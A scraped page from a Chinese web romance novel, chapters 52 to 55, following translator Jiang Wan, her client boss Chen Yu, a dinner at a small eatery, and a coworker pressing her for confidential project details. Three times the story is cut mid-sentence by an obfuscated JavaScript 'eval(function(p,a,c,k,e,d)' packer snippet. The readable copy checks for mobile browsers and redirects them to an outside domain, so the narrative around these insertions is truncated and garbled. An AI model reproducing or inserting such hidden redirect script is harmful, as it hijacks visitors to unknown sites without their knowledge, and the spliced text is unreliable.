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“我都不着急,你着什么急?先把饭吃了,”陈屿再次重复,“这里除了你,其他都是GSC的员工,大家都吃了,就你一个人没吃,传出去,外面会怎么看我?我可不想落一个‘厚此薄彼’的名声。” 姜挽其实觉得他想的有点多了,这件事她不说,其他人应该也不会知道。但对上他的眼睛,又联想到刚才周海离开时交代她的话,还是默默打开了食盒。 刚才其他人吃的时候她忙着保存翻译,隐约中好像听到了几句说饭菜高档的话,但因为没概念,也就没怎么在意,这会儿一打开,才明白为何刚才大家都会赞不绝口了。 食盒都是单人份的,像是花梨木材质,灯光下泛着油润的实木光泽。表面雕花镂空,手柄处有一朵小小的莲花,姜挽拿手轻轻摸了下,有凹凸感,却很细腻。 里面一共分为四层,先是米饭,再来是两层菜,荤素搭配,最后才是汤。还没开动呢,单是看着,她便能感觉到“高档”二字。 但东西太多,她肯定吃不完,姜挽朝陈屿看一眼,原本是想问他吃过没有,要是没吃的话,介不介意一起吃。 可这个犹豫的眼神,看在陈屿眼里就不是那么回事了,他以为她是不喜欢:“不喜欢也得自己解决,这没人能够帮你。” 好吧。 姜挽干脆不问了,那她就尽力吃,吃不完再说。 她吃饭的时候,陈屿也不催,就在旁边看着手机,偶尔会抬头看她两眼。 等到姜挽差不多吃完了,他才从口袋里拿出一个U盘,递给她:“这里面是一些关于建筑类翻译的资料,你好好看看,别到时候翻译不好,埋怨GSC没给你提供帮助。” 姜挽对别的东西不怎么感兴趣,可对这类翻译资料,却是莫名的爱不释手。最困难的时候,她曾经为了买一本英译词典,硬是吃了整整一个星期的馒头,还是一天一个的那种。 刚拿到,她便把U盘直接插在了电脑上,是一份PDF的英语文件,一眼扫下来,她便知这份资料的可贵性。 不论是单词,释义,还是各种实例的参考和对比,姜挽都知道,这绝对不是一朝一夕能够完成的。 她很震惊:“这是……您整理的?” “想什么呢?你觉得可能吗?”陈屿在桌下按了按酸涩的手腕,出口嘲讽道。 “那是……” “之前其他同事留下来的。” 那姜挽也觉得她足够幸运了,这份资料对她的帮助,远比现在看上去的要多得多。 “谢谢您,只不过之前的那位同事,我没办法和她道谢了。” 说这话的时候,她眼底亮晶晶的,似荡着一层水光,陈屿赶紧别开脸:“你别多想,不是因为你的原因,我只不过是不想尼斯这个项目被翻译影响罢了。” “您放心,我一定仔细研究学习。” “你最好是。” 53. 第 53 章 自从这次后,往后他们每次加班,都会收到陈屿安排人送来的晚餐,虽说每次的店名不一样,但无一例外,全都是北城响当当的,叫的出名号的饭店。 一开始,大家还挺高兴,加班有饭吃,而且还是老板安排的这种高档饭店,所以,吃饭的时候还经常会插科打诨两句。可几次下来,逐渐有人开始担心了,俗话说,“无功不受禄”,他们这不仅“无功”,而且还犯了大错,老板不仅不责罚,还天天好吃好喝地招待,让人很难不担心啊。 毕竟,整个公司,让陈屿这么上心,如此对待的项目组,就只有他们这一个了。可偏偏,他们这个项目组又没有任何出挑的地方。 想来想去,这其中的逻辑也不通啊。 周海一向不考虑这些,心思都在工作上,可成天被周围人这么念叨,也难免会被影响。况且,这些人目前都在他的团队里,他就算自己不在乎,也得对他们负责。 找了合适的机会,周海先去问宋泽宇,可这小子嘴很严,什么都问不出来,于是他便直接去了陈屿的办公室。 他知道陈屿的喜好,一向不喜欢拐弯抹角,所以也就没藏着掖着,直接把自己的顾虑和他说了。 陈屿听完后,第一反应不是回答他的问题,而是反问:“你觉得我就那么闲?闲到要和你们去勾心斗角?是GSC的赔偿不能给到位,还是现在招聘市场严重下滑,我要是想让谁走,难道不是一句话的事儿?” 话是没错,可做什么事情总得有个出发点吧,周海还是不理解:“那您每天给大家送这么高档的晚餐,总得有个原因吧?” 原因陈屿当然有,但他不能说。 “所以,我做事情,还需要和你解释原因?”陈屿反将他一军。 “陈总,您别误会,我不是这个意思,”周海吓得不轻,“只是,倘若一直这样的话,项目组的人难免会有些疑惑,时间长了,多少都有点影响大家的工作情绪。” “谁有疑惑?姜挽吗?让她直接来问我。” 周海不明白为什么每次这种事,他的第一反应就是姜挽:“不是Annie,她不爱八卦,这些事情她一般都不怎么关心的。” “哦,”陈屿垂下眼睫,既然不是她,那他就更不必放在心上了,“那你想怎么样?” 冒着顶撞领导的风险,周海还是开口:“不然这晚餐您就别再安排送了,反正要改的部分也完成得差不多了,应该没几天就能赶上正常进度,也加不了几天班了。” “几天?”陈屿和他确认具体时间,让姜挽每天饿着肚子在这里加班,他不同意。 “下周二之前?” 今天周四,那就是说至少还有四天,时间太长,不行。 “两天,”陈屿一锤定音,“明天是deadline,本周之内搞定。” 周海没立即回答,他在脑子里盘算了下当前的进展,又把剩余工作过了一遍,觉得也不是完全不可能:“行,那我们试试。” “不是试试,是必须。” 回到会议室,周海把这个结果和大家说了,虽然时间上是有点赶,可不用再“担惊受怕”了,大家也都还是愿意接受的。所以,自从周海说完这个决定后,大家便当即马不停蹄地投入了工作。 到此,事情算是暂时告一段落,但谣言并没有,尤其是在有心之人的眼里。 陈屿给“尼斯项目组”订饭这事,在公司已经不是什么秘密了。毕竟这个项目从一开始招标就是他亲自参与的,中间的定标到启动环节,他更是时时关注。所以,大家便自动认为,这个项目在陈屿眼中,远远超过了其他的。 要想引起领导的注意,得到领导的重用,第一步,就是要投其所好,关注他所关注的。 方简简是这样想的,她也是这样做的。 这几天她一有机会就缠着姜挽,问她各种关于尼斯项目的事情。 大家都是同事,抬头不见低头见的,加上,在姜挽心里,总还有刚来时方简简帮助她的情分在,所以只要是能说的,不涉及项目机密信息的,她多少都会回应两句。 可谁知,方简简却把这当成了理所当然,变本加厉地开始追问。 周五,姜挽刚到公司,方简简便凑了上来,没说两句,话题便又绕到了尼斯项目上,姜挽是真的有些不想再听了。 今天是deadline,她还有一堆翻译要做,况且听刚才方简简的口气,她问的几个问题,其实已经涉及项目机密了。 姜挽委婉地拒绝她:“我这会儿没时间,得马上去会议室。” “一点儿时间也没有吗?我也就两三个问题而已。”方简简追着她来到茶水间。 姜挽接完咖啡,还是没停留:“抱歉,而且你的这些问题,我也不知道。” 她走得快,所以没注意到身后方简简那凌厉的眼神。 因为今天是deadline,所以大家都很忙。在会议室忙了一整天,结束时已经八点半了,姜挽回到办公室收拾东西,却没想到方简简还在等着她,要知道,她平时可是还没到下班点就已经把东西收拾好了。 见姜挽回来,一句其他的话都没有,方简简张口便问:“现在你总该有时间回答我了吧。” 又累,又困,又饿,姜挽是真的没心思在这会儿回答她,况且她刚才的语气听起来,像是她欠她的。 她试图和方简简解释:“今天忙了一天,我好累,想早点回去休息了。” 方简简也不知道是没听懂,还是故意的,硬是把她正在收拾的东西从手里拿开,一把扔在桌上:“放心,我耽误不了你多长时间的。” 说着,她便一股脑把自己的那些问题全倒了出来,也不管姜挽想不想听,说罢,就一个劲地追问答案。 姜挽耐着性子听完,却发现,除了早上的那几个,她又增加了一些新的,这些已经严重涉及到项目机密,和保密协议相冲突了。 到这一步了,姜挽还是想给双方留一些体面:“抱歉,这些问题我不是很清楚,我平时也就负责一些翻译工作。” 可方简简却不这么想:“怎么可能呢,你在项目组待了这么长时间,就算听他们聊天,也该听出个大概了吧。” 姜挽垂下眼睫,重新往包里装东西:“我真的不知道,况且就算知道的话,这些也属于项目机密,是不能够泄露的。” 方简简不高兴了,脸色沉下来,一屁股坐在凳子上,力道太大,撞上桌角,好大一声响。 “我等了你这么久,你就用这两三句话打发我?” 姜挽愕然,蹙眉看着她,有些不大适应她的这种说话方式。此刻方简简的语气,用词,还有神态都很奇怪,凌厉中带着尖酸,和她以前甜美温柔的形象简直判若两人。 有什么东西在姜挽脑中一闪而过,但她没多想,主要是她也不想怀着恶意来揣测别人:“可是我早上就和你说过了,这些我真的不知道,况且我也没让你等我。” 方简简急了,她一着急,甚至都忘了掩饰,“腾”的一下从凳子上起身,眼神冷刀子似的朝姜挽飞过来:“也不知道你在清高个什么劲,你不过是运气好罢了,碰上尼斯度假村这个项目,才能在陈总面前露面。论能力和外貌,我都不比你差,要是这个项目安排我来做,我不一定会比你做的差。” “你说什么?” 如果说刚才姜挽还是猜测,那这会儿,她基本可以断定了,工作了这么些年,她虽不会主动和别人起矛盾,但基本的职场规则还是明白的。 她停下手上的动作,毫不露怯地和方简简对视:“那不如让我来问问你,你这么好奇尼斯度假村项目的信息,又是因为什么呢?” 一瞬间,方简简的眼中有凶光闪过,但很快,她又恢复如常,端上了平时的那股笑意,嗲嗲地和姜挽解释:“我还能因为什么,不过是问着玩儿罢了,你看你,我开个玩笑,你还生气了,”说着,她去挽姜挽的手臂,“我心直口快的,你大人有大量,可不准和我生气啊。” 姜挽没回答,而是直接从她手中抽出手臂:“我真得回去了。” 她走了,办公室只剩下方简简一人,这下,她再也不用装了。 “啪”的一声,桌上的文件被她全都扫到了地上,整个样子愤怒又癫狂,哪里还有半分平日里的温柔样子。 从办公室出来,姜挽还有点没从刚才的事情里出来,一来是因为方简简的奇怪,二来,则是对她这个人的心寒。 有些东西就是这样,原本被一层泡沫包着可能看不太出来,但一旦捅破,粉饰破碎,里面的东西便会像散落的珠子一般,一个一个地接连跳出来。 姜挽想起来,这其实已经不是方简简第一次问尼斯项目的事情了,自从知道她在这个项目组,便总是会旁敲侧击地和她打听,只是以往都没有今天这么明显罢了。 而且,她也不止一次地表达过对姜挽能在这个项目组的羡慕,还有,她对陈屿的关注貌似也有些过头了…… 其他的姜挽不清楚,但方简简对尼斯项目组感兴趣几乎是可以肯定的了。或许,她还想要更多…… 今天一整天太累,姜挽实在没精力思考这些东西,恰好地铁来,她跟着人流上去,没有座,找了个能站着的角落,姜挽从口袋里拿出手机。 鬼使神差地,她点进了陈屿的朋友圈。 其实没报什么希望的,毕竟他们刚开始加上微信那会儿,姜挽就看过他的朋友圈,干干净净,一条分享都没有。 可这会儿再看,虽说还是仅三天可见,可那满屏的照片和分享却让她觉得惊讶,差点还让她以为进错微信了。 退出去,再点进来,确认是陈屿没错。 姜挽一条条往下看,陈屿发朋友圈的频率很高,每天基本都会有3—4条。有时是风景,有时是路上的随拍,还有的时候甚至只是家里的一角。每条之间没什么联系,也很随意,但能看出来,是对他真实生活的分享。 姜挽不禁感叹,还真是看不出来啊,他那么一个冷情冷意的性格,没想到私下竟然会这么喜欢分享生活。 突然,其中有一组关于猫的照片,吸引了姜挽的注意。她点开去看,是一只通身浅灰色的小猫,颈侧有一块白色。大大的蓝眼睛,圆圆的脸颊,看着镜头时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【怎么,不说话?想以此蒙混过关?今天这件事你必须给我一个说法!!!】 一条条的,全是陈屿发过来的质问消息,姜挽都不敢看。这是他们加上微信后的第一次联系,没想到竟然会是这种情形。 虽然“视奸”这个词确实有些重了,但她刚才偷看他朋友圈的行为,貌似就是这样的。 一直到上了另一趟地铁,姜挽才敢回复他:【抱歉,刚才在地铁上。】 【地铁上影响回复吗?】陈屿回得很快,很明显是一直等着的。 其实不影响,但姜挽不会说,刚才的几分钟,也是她给自己的缓冲和调整时间:【影响的,信号不好,而且我刚才是在换乘。】 这次,过了很久,陈屿那边才再次回复,像是下了很大的决心似的:【好,你回复慢的事情我可以不和你计较,但关于你偷偷“视奸”我微信这件事,你今天得给我一个解释!】 刚才事发突然,陈屿又一副“兴师问罪”的语气,姜挽一时间有些被唬住了,这会儿冷静下来,脑子也变得灵活多了。 第一,他发出来,就是给大家看的,作为他的微信好友,她自然也就会看到。所以,她不用陷入陈屿的指责里,对自己的行为产生愧疚感。 第二,微信没有“访问记录”的功能,也就说明陈屿那边不会知道她是单独点进了他的朋友圈,就说她是在查看的时候顺便看到的,应该也说得过去。 所以,这两点分析下来,姜挽也有了不少底气。 【抱歉,我真的没有,只是在查看朋友圈的时候不小心点到了,您用“视奸”这个词,会不会有点太严重了。】 见她没有被唬住,陈屿有点不高兴,但他也有后手,“大义凛然”地再次回复:【你点赞的这条是我两天前发的,这么久远的动态都能被你翻出来,你还说自己没有,你觉得我会信?】 关于这点,姜挽还真能解释:【陈总,您可能不知道,我平时没有刷朋友圈的习惯,一般都是两三天才刷一次,所以一次看的内容可能会有点多。】 又被怼了,陈屿看着手机里发过来的消息,很是懊恼,可他也知道,自己刚才那样说,其实也挺站不住脚的。 眸光一闪,他突然想到另外一件事,于是立马转移话题:【姜挽,你到底有没有把我说的话放在心上?】 姜挽觉得莫名:【什么?】 【不是说了,以后不工作的时候不要用“您”或者“陈总”来称呼我,你这么快就忘了?】 …… 【好吧,我记住了,以后不会了。】 陈屿趁机压上一步:【这么一点小事你都办不好,你要我怎么相信你刚才说的话?】 感觉哪里怪怪的,但姜挽一时又说不上来。 陈屿也知道怪,这种强词夺理的说辞,就是要以迅雷不及掩耳之势,趁对方没反应过来的时候一股脑说出来,才能让对方相信。 所以,他也不等姜挽的回复,再次敲字:【你自己好好反思反思吧,看你今天这种行为,到底有没有道理!】 【还有,这条不用回复,我很忙,没时间总处理你这些事!】 姜挽一边觉得无语,一边又觉得庆幸,这些问题,就算陈屿让她回复,她也是不知道该如何回复的。 54. 第 54 章 次日周六,姜挽还在睡梦中,便被手机的振动声吵醒,迷迷糊糊中她解锁去看,是陈屿发来的,貌似是在问她“有没有反思好”之类的问题。 她昨天太累,晚上又加班弄了会儿翻译,上床睡觉时已经凌晨两点多了。考虑到今天不上班,她特意没有定闹钟,所以这会儿完全是被陈屿的微信吵醒的。 虽然脑子还不是特别清醒,到底反思什么事情她也没全部想起来,但潜意识里,姜挽也知道甲方爸爸是不能得罪的。于是,眯着一只眼,她开始费力敲字,什么痛定思痛,下定决心,以后绝对不会再犯之类的假大空话,她发了一大段过去。 消息发过去,她原本以为就可以清净了,正打算闭上眼睛再眯一会儿,没想到手机铃声这时却突然响了,竟然是陈屿直接打了电话过来。 打字可以不在乎形象,可电话不能,姜挽立马一骨碌从床上爬起来,迅速清了清嗓子,划开接听键,她原本是想叫“陈总”的,脑子里突然闪过陈屿昨天的话,也是这一下,让姜挽彻底清醒陈屿到底是要她反思什么了。 “喂。”因为不知道叫什么,她干脆不叫。 “你发那么多字我看不清,要是反思好了,你当面和我说。”陈屿从不迂回。 “当面?现在吗?”姜挽挠了挠自己的头发,真是难搞。 “不行吗?”陈屿反问她,“我去见一个客户,刚好路过你家附近,你二十分钟后下来。” 姜挽看着自己当前这副邋遢样,她还没起床:“会不会太麻烦了,要不周一再说?” “怎么,你不方便?约了人?” 隔着电话,姜挽也能感觉到他的语气不大好,她妥协:“没有,我二十分钟后下去。” 挂了电话,她重重地叹了口气,可也没有别的办法,还是从床上爬了起来。 时间不够,又加上她心情也不大好,姜挽索性不做任何打扮了,洗漱完成,连护肤都没做,随意套了一套休闲装就下楼了。 陈屿时间观念很强,说是二十分钟,只要没有特殊情况,他一般都不会迟到。他今天换了车,一辆黑色奔驰大G,姜挽之前没见过,她也是通过停车的位置辨认出来的。 走近了,陈屿降下车窗,没和她打招呼,而是先取下墨镜,上下把她扫视了一番。他虽没开口,但表情已经很明显了,是嫌弃她这身穿搭。 姜挽本来觉得没什么的,但被他这么一打量,心里也有点打鼓:“时间太短了,我没来得及收拾。” 陈屿淡淡看了她一眼,收回视线:“上车。” “啊?” “怎么?你打算就站在这反思?” “那倒不是。” 她上车,正纠结该如何自然地开启话题,陈屿却在她之前开口:“你刚起床?” 姜挽假装不是:“不是,起床有一会儿了。” 陈屿没拆穿她,刚才微信里的那一段全是错别字,电话里她的声音更是还带着鼻音。 “先去吃饭。” “啊?” 陈屿像是被她“啊”烦了,抬起手表:“你也不看看现在几点了,你不饿,我还饿了呢,这会儿没精力听你反思。” 为了让这件事听起来更加合理,他又给自己安了一个理由:“还有,上次的饭是你请的,我这人最不喜欢欠别人人情。” “可上次的那顿是为了感谢你帮我找到耳钉的。”姜挽小声辩解。 “在我这没区别,我不喜欢占别人便宜。”说罢,陈屿发动车子,“不过既然今天都已经来到这边了,就给你个机会吧,这顿就由你来选地方。” 既然让她来选,姜挽就不想跑太远,况且她下午还有工作要做,也得早点回去。 “您……”话开口,她连忙打住,“你有什么忌口的,或者特别的指示吗?” 陈屿挑眉,觉得她终于上了点道,终于不再是那个“您”了:“没有,既然说了你选,你定就行。” “好,那我看看。”姜挽心里其实已经有想法了,但她还是装模作样地拿出手机,翻看了几下。 “路边摊你介意吗?我知道有一家味道还不错。” “随你。” 虽说路边摊陈屿不介意,可他也没想到能路边到这种程度。吃饭的地方在居民巷里,车开不进来,陈屿只得把车停在附近的停车场,再和姜挽一起步行过来。 七拐八拐,绕来绕去,终于在一家小餐馆门前停了下来。那门脸小的,稍微一个不注意就会错过。装修更是简陋,甚至可以称之为没有,只玻璃门上方用塑料做了一个横牌,写着“马大姐家常菜”几个字,其中“家”还掉了几笔,一看就是年久失修。 到门口,陈屿却不愿意进去了,他停步,皱眉,用一股毫不掩饰的嫌弃语气开口:“你确定这里是吃饭的地方?” “确定,”姜挽大概知道他的顾忌,于是很真诚地和他解释,“可能从外面看是简陋了点,但里面很干净,而且味道也很不错。” 陈屿还是不大信:“以你现在的生活状态,还能有什么好的品味?” 换言之,你现在都过得这么差了,还能吃出什么好东西来。 姜挽愣住,先是尴尬,继而脸颊两侧迅速升起一片红,那是一种被戳中心事后的自然防御反应,胆怯,自卑,还带着脆弱的坚强。 “你要是不喜欢这里,其实你可以直说的,我们可以换个地方的,或者这顿饭不吃也行,但你没必要这么侮辱我。” 顷刻间,陈屿的心里猛地一阵刺痛,他想说他不是这个意思,他想和她道歉,可话到嘴边,又不知该如何开口。 害怕她一气之下真的离开,陈屿索性先迈步,拉开玻璃门,丢下一句:“来都来了,懒得再找了。” 陈屿刚进门,便立马吸引了屋内所有人的目光。一来是因为他的穿着打扮,全套手工定制西装搭配黑色皮鞋,还有袖扣和领带,在这种小地方,从来没出现过这种品味的男人。二来则是他那张脸,身姿孤拔,气质卓然,五官精致得犹如精雕细琢的艺术品。长着这样一张脸,不论在哪儿,都必然会是全场的焦点。 一时间,屋内原本喧闹的气氛瞬间安静下来,周围齐刷刷的目光全都在他身上打量,连老板娘都觉得惊讶:“小伙子,你是不是来错地方了?” 陈屿刚打算开口,一道纤细的身影突然从他背后冒出来,是姜挽,熟络地和老板娘打招呼:“没走错,他和我一起的。” 见到姜挽,老板娘明显自然了许多:“嗐,原来是你呀,你这孩子,也不早说,我还以为是哪个明星来拍广告的呢。” 说罢,老板娘扯着姜挽的衣袖,把她拉到一边,用只有她们两个人能听到的声音,八卦道:“小姜,这帅哥是谁呀?不会是你男朋友吧?” “不是,不是,”姜挽赶紧解释,“是我们公司的合作甲方。” “合作方来这吃饭?”老板娘明显不信,但也没再追问,笑着朝她眨眼睛:“今天坐哪儿?还是老位置吗?” 老位置指的是最里面那个角落的地方,姜挽以前一个人来的时候都是坐那里,可今天不行,她朝周围看一眼,大家的注意力明显还在陈屿身上,要是真坐那儿的话,今天这顿饭就别想清净了。 “楼上还有包间吗?”她问。 “本来没有了,但因为是你,我腾也得给你腾出来一间,”老板娘性格很好,笑起来自带一股爽朗,“赶紧带着你男朋友,哦,不对,你的合作方上去吧,最里面那间。” 姜挽在前,陈屿在后,两人按照老板娘的叮嘱,很快便来到最里面的那间包厢。 陈屿没来过这种地方,有些拘谨,倒是姜挽很自然:“你喝什么?”她问他。 因为刚才无意间说的那句话,陈屿后来一直都没敢再开口,这会儿姜挽问他,他才敢看着她,徐徐动嘴:“和你一样就行。” “我喝茶。”姜挽像是在和他确认。 “可以。”陈屿给她答复。 茶水倒出来,缭绕一段茶烟擦过姜挽的面颊,还有微微的淡香,陈屿看着她,像在看一个梦:“你经常来这儿?” “嗯,来过几次。” “一个人?” “嗯。” “下班后吗?” “不是,下班时间来不及,一般都是周末。” “那你……” 陈屿还想再说什么,包间的门突然从外面被推开,是老板娘来了,来让他们点菜,同时也端了两盘小零食,是她自己做的。 “今天吃什么?还是和之前一样吗?”她笑着问姜挽。 “主要看他,”姜挽把菜单递给陈屿,“你看看,有没有什么想吃的?” “不用看,”陈屿接过,却没打开,转而面向老板娘,“就她平时吃的那些就行。” “没问题。”老板娘在手里的单子上做笔记,她看出来了,这两人之间不是很热情,但要说只是单纯的业务合作关系她不信,看他们二人之间这个丝丝缕缕的别扭劲,反倒更像……更像是正在闹别扭的小情侣。 她提醒他们:“因为小姜平时是一个人吃,点的少,所以今天要是你们两个人的话,估计不够,我再帮你们加两个特色菜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448300|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜挽没问题,她没问题,陈屿自然也就没问题。 “对了,今天是小姜第一次带朋友过来,我再送你们一份凉菜,饭后再加一个甜点。” 送不送的,陈屿根本不在乎,只是对方这个热情爽朗的性格让他动容。很真挚,很鲜活,那是一种在高级餐厅体会不到,摆脱了精致餐具和牛排红酒后的真真切切的市井生活气。 确定好菜单,老板娘要走,姜挽却突然叫住她,叮嘱道:“对了,马姐,我们的菜里都不要放花生。” 她以前来吃饭的时候是没有这个要求的,这次突然提出来,想必是和旁边这个小伙子有关。 老板娘了然地朝她笑笑:“好嘞,知道了,稍等一会儿,很快就好。”说完,她便离开了包间。 陈屿见她还记着这件事,以为她忘了,于是便开口:“我已经不对花生过敏了。” 哪知姜挽却答:“我知道啊,只不过过敏这种事还是小心点为好,以防万一。” 一瞬间,陈屿心底早已干涸的那部分突然间仿佛活了过来,像是回到莽撞的少年时,回到了这么多年他都不敢触碰的那段回忆。 她刚才的那句话,他是不是可以理解为,她是在关心他? 他说了难听的话,她不仅没有和他计较,还惦记着他的过敏,主动叮嘱老板娘不要放花生,这种感觉很久没有过了,太陌生了,以至于让陈屿都有些无所适从。 好在菜上得很快,尤其是凉菜,才暂时缓解了陈屿这种无措的情绪。接着是热菜,四菜一汤,都是家常菜。 家常,却并不普通。 确如姜挽所言,这里每道菜的味道都很好,红烧排骨鲜嫩,小炒肉细腻,番茄鸡蛋酸甜,还有清炒时蔬的清香。 除了食材本身的味道外,吃这些菜,似乎还能从中感觉到一种朴素和真实,像是家的味道。 只不过,整顿饭吃下来,他们两人的话却很少。除了偶尔夸两句菜的味道,再提两句不痛不痒的话题,其他便没有了。 吃完饭,陈屿取了车,打算先送姜挽回去。车上,两人又随便聊了两句,但都没提“反思”的事儿,像是都已经忘了他们今天这场见面是因为什么了。 到地方,姜挽下车,陈屿掉头离开,一场原本好好的碰面,他也不知道为什么,最后就搞成了这样。 陈屿没回家,而是直接上内环去了市区的方向,还是那家酒吧,他到的时候,孟云程已经到了。 见陈屿阴沉着脸进来,孟云程不怕死地开口:“大白天的约我喝酒,怎么,见不到姜挽来这发疯?” “不是,”陈屿猛灌一口酒,鼻尖到颌骨形成的线条锋利又锐气,“刚把她送回去。” “那是见到了,”孟云程挑眉,身体前倾,端起酒杯也喝了一口,“那你今天这副要死不活的样子又是因为什么?她不搭理你?还是你又把她惹生气了?” 从进来到现在,陈屿没主动说过一句话,更没提一句姜挽,可孟云程就是知道,他这状态,百分百和姜挽有关。 陈屿没回答,阖着眼,指腹轻轻按着太阳穴,看起来很是疲惫。 “你倒是说呀!”孟云程虚虚踢了他一脚。 陈屿还是不吭声。 他就是这样,不想说的话,一句都撬不出来,孟云程都打算放弃了,却突然听到身旁传来一声黯淡的叹息,无奈,还带着悲怆:“我好像不知道该怎么和她相处了。” “不是,你什么意思?”孟云程拧眉,很不理解,“什么怎么相处?心里怎么想,就怎么做呗!” 陈屿觉得他不懂,主要他自己也不懂。 他和姜挽如今是什么关系,今后又该如何,远一点,近一点,和她保持距离,还是该近一步,他不清楚,而且也害怕。 因为他看不透她的心,害怕八年前的事情会再次重演。 孟云程看他这个黯淡的样子,真是不忍心:“要不,你换个人试试吧。之前是因为她没回来,你一直有幻想,现在回来了,见也见了,说也说了,要是真觉得还是不合适的话,就真没必要再继续纠缠了。” 他举起酒杯去和陈屿碰,虽然知道他不爱听,可还是坚持说完:“这样,说不定对你,对她,都是好事。” 陈屿从没想过这种可能性,突然听到孟云程这么说,心中全是抵触,他一次性把酒喝完,潇洒起身:“走了。” 孟云程愕然:“不是吧,你他妈刚来就走?而且还是你约的我!” “你他妈去哪里,不会又是击剑吧?” 陈屿背对他挥手。 “靠,我真服了!” 55. 第 55 章 周末很快过去,北城进入八月底。这个时候的天气已经没那么热了,气温有所降低,晨起时偶有微风,还会觉得凉。 洗漱,吃早餐,再到公司楼下买一杯咖啡,姜挽基本保持着和在佳译一样的工作习惯,也因为如此,她一般都比其他同事到的早。 可今天很奇怪,她到的时候,方简简已经在了。 长裙配平底鞋,还是那副人畜无害的清纯打扮,见姜挽进来忙起身,不对,准确来讲,她就是专门在等姜挽的,才会在她进门后一眼就注意到了。 “我给你带了咖啡,专门排了十分钟队买的,”方简简边说,边把咖啡放在姜挽桌上,“是你喜欢的口味。” 姜挽没接,朝她扬了扬自己手中的杯子:“谢了,不过我已经买了。” “那吃水果,”说着,方简简又把一个装着各式果切的长方形盒子打开,“补充维生素。” 她在向她示好,姜挽知道,是因为周五的那件事,姜挽也清楚。 可有些话说了就是说了,她也不是职场小白了,既然已经知道了,就不可能再心无芥蒂地回到之前,能做到心平气和地维持表面和谐就可以了。 “谢谢,不过我早上没有吃水果的习惯。” “你不要咖啡,也不吃水果,是不是还在怪我?”方简简咬着唇,一双大眼睛无辜地眨着,要不是上周五亲眼见识了她真实的样子,姜挽几乎都要信了。。 她本来不想再提那件事的,可既然方简简主动提了,她也就干脆明说:“不会,工作里面出现摩擦是难免的,既然已经说清楚了,就不存在怪不怪的,我们以后各自把握好分寸就好。” “你这么说就还是在怪我了,”大眼睛里开始蓄泪,似乎下一秒就会落下来,“我已经和你解释过了,我当时真的是太着急了,才会说出那样的话,真的不是我的本意。” 方简简爱缠人,姜挽以前就知道,但她以为只是在一些无伤大雅的小事上,没想到在这种正事上,她也喜欢用这套。 “我也说过了,我不怪你,”马上就到上班的点了,姜挽今天还有一堆事,没时间和她耽误,“别多想了,先上班吧。” 她没上当,谈崩了。 眼见着自己的目的没达到,方简简也不打算再装了,妒忌,愤怒,憎恨,乱七八糟的情绪瞬间堵在胸口,她一抬手,把那杯咖啡和那盒果切全都扔进了垃圾桶里,力道之大,发出“咚”的一声响,引来远处其他同事的侧眸。 姜挽离得这么近,当然也听到了,但她自始至终都没有回头。 “装什么啊,真是给脸不要脸!” “一个外派翻译而已,还真以为自己能够飞上枝头当凤凰?” “愿意和你说话是看得起你,真是搞不清自己的位置!” 尖酸的话语,刻薄的语气,姜挽还是没有回头。 她这会儿也不知道自己是该庆幸,还是该伤心。庆幸的是,她提前看透了方简简这个人,伤心的也是,她看透了方简简这个人。 从这天以后,方简简对她的态度就变了,冷漠孤立,故意为难,时不时还会和其他人说两句她的坏话,好几次从茶水间擦肩而过的刹那,姜挽都听到了。 她原本以为,大家都是成年人,有些事情提前说清楚,划好界限,会更容易工作,但事实证明,她错了。 但姜挽倒是也不后悔,这种人,只要还有接触,类似事情的爆发不过就是早一天晚一天的区别罢了。换句话讲,早发现总比晚发现要好。 但与之同时,她和另一位同事林瑜之间的接触却增多,两人的距离也在不知不觉间拉近。 起因是因为方简简又打算故意为难她,原本可供两人同时使用的打印机,她却故意霸着,姜挽没和她计较,打算等她弄完再去。 恰巧被从旁边经过的林瑜看见了,一把拿过她手中的文件,硬怼方简简:“你打印,她扫描,两人互不相干,凭什么得等着你弄完她再弄?” 方简简像是很怕她,虽不情愿,可以没敢多说什么,磨蹭着还是把位置让了出来。 回到座位,姜挽和她道谢,哪知林瑜却冷冰冰的,对她的道谢根本不在乎,只是提醒她:“面对她这种人,你这样早晚吃亏。” “我知道,我只是不想闹得太难看,互不干涉就行。” “你这样想,未必她也这么想。”林瑜还是那副不怎么爱搭理人的样子。 姜挽这才注意到,她对方简简的评价似乎不大好,回忆起她来GSC的这段时间,记忆里,她就没见这两人说过话。 姜挽突然想起来,她刚来的时候,方简简曾经和她提过几句林瑜,她当时是怎么说的来着,说她脾气差,性格古怪,一张口就是怼人,让她不用搭理她。姜挽当时还信了,可现在再回想,有没有可能是林瑜一开始就是因为看透了方简简的为人,所以才会如此冷漠呢。 纷纷扰扰,恍恍惚惚,原来她以前都是隔着一层滤镜在看事情。 “你好,我叫姜挽。”时隔这么久,这个迟来的自我介绍才算正式到来。 林瑜意外的别扭,像是不习惯,可也给出了回应:“林瑜。” 姜挽看着她,想了想,还是开口:“你和我之前了解到的,似乎有些不大一样。” 这句话一出,林瑜笑了,是那种很轻的,微微牵动唇角的笑:“你了解到的,”她复述,“你是从哪里了解到的?从方简简嘴里?” 被她猜对了,姜挽点头。 “你不说我也知道是她,而且,我大概也能猜到她会和你说些什么。” 接着,她开口,脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 